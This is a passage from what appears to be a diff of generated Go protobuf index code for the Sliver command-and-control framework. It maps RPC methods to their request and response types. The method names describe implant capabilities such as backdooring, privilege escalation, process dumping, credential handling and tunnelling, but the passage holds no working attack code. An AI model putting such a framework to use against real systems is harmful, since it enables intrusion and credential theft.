rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 68, // 111: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 69, // 112: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 70, // 113: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 71, // 114: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 72, // 115: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 73, // 116: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 74, // 117: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 75, // 118: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 76, // 119: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 77, // 120: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 121: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 78, // 122: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 79, // 123: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 80, // 124: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 81, // 125: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 82, // 126: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 83, // 127: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 84, // 128: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 85, // 129: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 86, // 130: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 87, // 131: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 88, // 132: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 89, // 133: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 90, // 134: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 91, // 135: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 92, // 136: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 93, // 137: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 94, // 138: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 95, // 139: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 96, // 140: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 97, // 141: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 98, // 142: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 99, // 143: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 100, // 144: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 101, // 145: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 102, // 146: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 103, // 147: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 104, // 148: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 105, // 149: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 106, // 150: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 107, // 151: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 108, // 152: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 109, // 153: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 110, // 154: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 111, // 155: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 112, // 156: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 113, // 157: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 114, // 158: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 114, // 159: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 115, // 160: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 116, // 161: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 116, // 162: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 117, // 163: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 164: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 118, // 165: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 166: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 0, // 167: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 119, // 168: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 169: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 120, // 170: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 121, // 171: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 5, // 172: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 173: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 122, // 174: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 6, // 175: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 6, // 176: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 123, // 177: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 178: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 124, // 179: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 125, // 180: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 126, // 181: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener - 127, // 182: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener - 128, // 183: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener - 129, // 184: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener - 129, // 185: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener - 130, // 186: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 130, // 187: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener - 13, // 188: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 189: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 13, // 190: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 13, // 191: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 131, // 192: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 14, // 193: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 194: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 195: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 196: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 15, // 197: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 14, // 198: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 14, // 199: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 15, // 200: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 132, // 201: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 16, // 202: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 203: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 204: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 133, // 205: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 134, // 206: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 207: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 134, // 208: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig - 23, // 209: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 210: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 135, // 211: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 23, // 212: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 213: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 214: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 136, // 215: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 26, // 216: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 217: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 137, // 218: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 27, // 219: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 220: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 28, // 221: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 222: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 223: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 133, // 224: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 138, // 225: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 226: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 139, // 227: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 140, // 228: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 141, // 229: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 142, // 230: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 231: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 31, // 232: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 143, // 233: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 144, // 234: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 145, // 235: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 146, // 236: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 147, // 237: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 148, // 238: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 149, // 239: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 240: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 150, // 241: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 36, // 242: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 243: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 36, // 244: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 36, // 245: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 36, // 246: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 39, // 247: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 151, // 248: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 152, // 249: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 153, // 250: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 154, // 251: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 155, // 252: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 156, // 253: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 156, // 254: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 157, // 255: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 158, // 256: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 159, // 257: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 160, // 258: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 161, // 259: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 162, // 260: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 163, // 261: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 164, // 262: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 165, // 263: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 155, // 264: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 166, // 265: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 167, // 266: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 168, // 267: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 169, // 268: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 170, // 269: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 171, // 270: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 172, // 271: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 173, // 272: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 173, // 273: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 173, // 274: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 174, // 275: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 175, // 276: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 176, // 277: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 176, // 278: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 177, // 279: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 178, // 280: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 179, // 281: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 180, // 282: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 181, // 283: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 284: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 182, // 285: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 183, // 286: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 184, // 287: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 184, // 288: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 184, // 289: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 185, // 290: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 186, // 291: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 187, // 292: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 188, // 293: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 189, // 294: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 190, // 295: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 191, // 296: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 192, // 297: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 193, // 298: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 194, // 299: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 195, // 300: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 196, // 301: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 197, // 302: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 198, // 303: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 199, // 304: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 200, // 305: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 199, // 306: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 98, // 307: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 308: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 201, // 309: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 202, // 310: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 203, // 311: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 204, // 312: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 205, // 313: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 206, // 314: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 207, // 315: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 207, // 316: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 208, // 317: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 208, // 318: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 209, // 319: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 210, // 320: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 211, // 321: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 212, // 322: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 114, // 323: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 324: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 115, // 325: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 116, // 326: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 327: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 117, // 328: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 23, // 329: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 165, // [165:330] is the sub-list for method output_type - 0, // [0:165] is the sub-list for method input_type + 5, // 5: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand + 6, // 6: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest + 0, // 7: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 8: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 7, // 9: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 7, // 10: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 7, // 11: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 8, // 12: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 8, // 13: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 14: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 15: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 16: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 9, // 17: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 10, // 18: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 11, // 19: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 12, // 20: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 13, // 21: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 13, // 22: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 14, // 23: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 14, // 24: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq + 15, // 25: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 15, // 26: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 15, // 27: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 15, // 28: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 29: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 30: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 16, // 31: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 16, // 32: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 16, // 33: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 17, // 34: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 17, // 35: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 17, // 36: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 17, // 37: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 38: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 18, // 39: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 18, // 40: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 19, // 41: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 20, // 42: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 21, // 43: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 22, // 44: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 23, // 45: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig + 24, // 46: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 25, // 47: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 48: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 26, // 49: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 25, // 50: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 27, // 51: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 52: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 28, // 53: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 28, // 54: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 29, // 55: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 29, // 56: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 30, // 57: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 30, // 58: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 29, // 59: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 29, // 60: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 31, // 61: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 62: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 32, // 63: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 64: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 65: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 66: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 67: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 32, // 68: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 33, // 69: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 34, // 70: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 35, // 71: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 72: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 36, // 73: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 74: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 75: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 37, // 76: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 37, // 77: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 78: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 38, // 79: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 38, // 80: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 39, // 81: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 39, // 82: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 40, // 83: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 41, // 84: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 42, // 85: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 43, // 86: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 44, // 87: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 45, // 88: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 46, // 89: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 47, // 90: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 48, // 91: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 49, // 92: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 50, // 93: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 51, // 94: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 52, // 95: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 53, // 96: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 54, // 97: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 55, // 98: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 56, // 99: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 57, // 100: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 58, // 101: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 59, // 102: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 60, // 103: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 61, // 104: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 62, // 105: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 63, // 106: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 64, // 107: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 65, // 108: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 66, // 109: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 67, // 110: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 68, // 111: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 69, // 112: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 70, // 113: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 71, // 114: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 72, // 115: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 73, // 116: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 74, // 117: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 75, // 118: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 76, // 119: 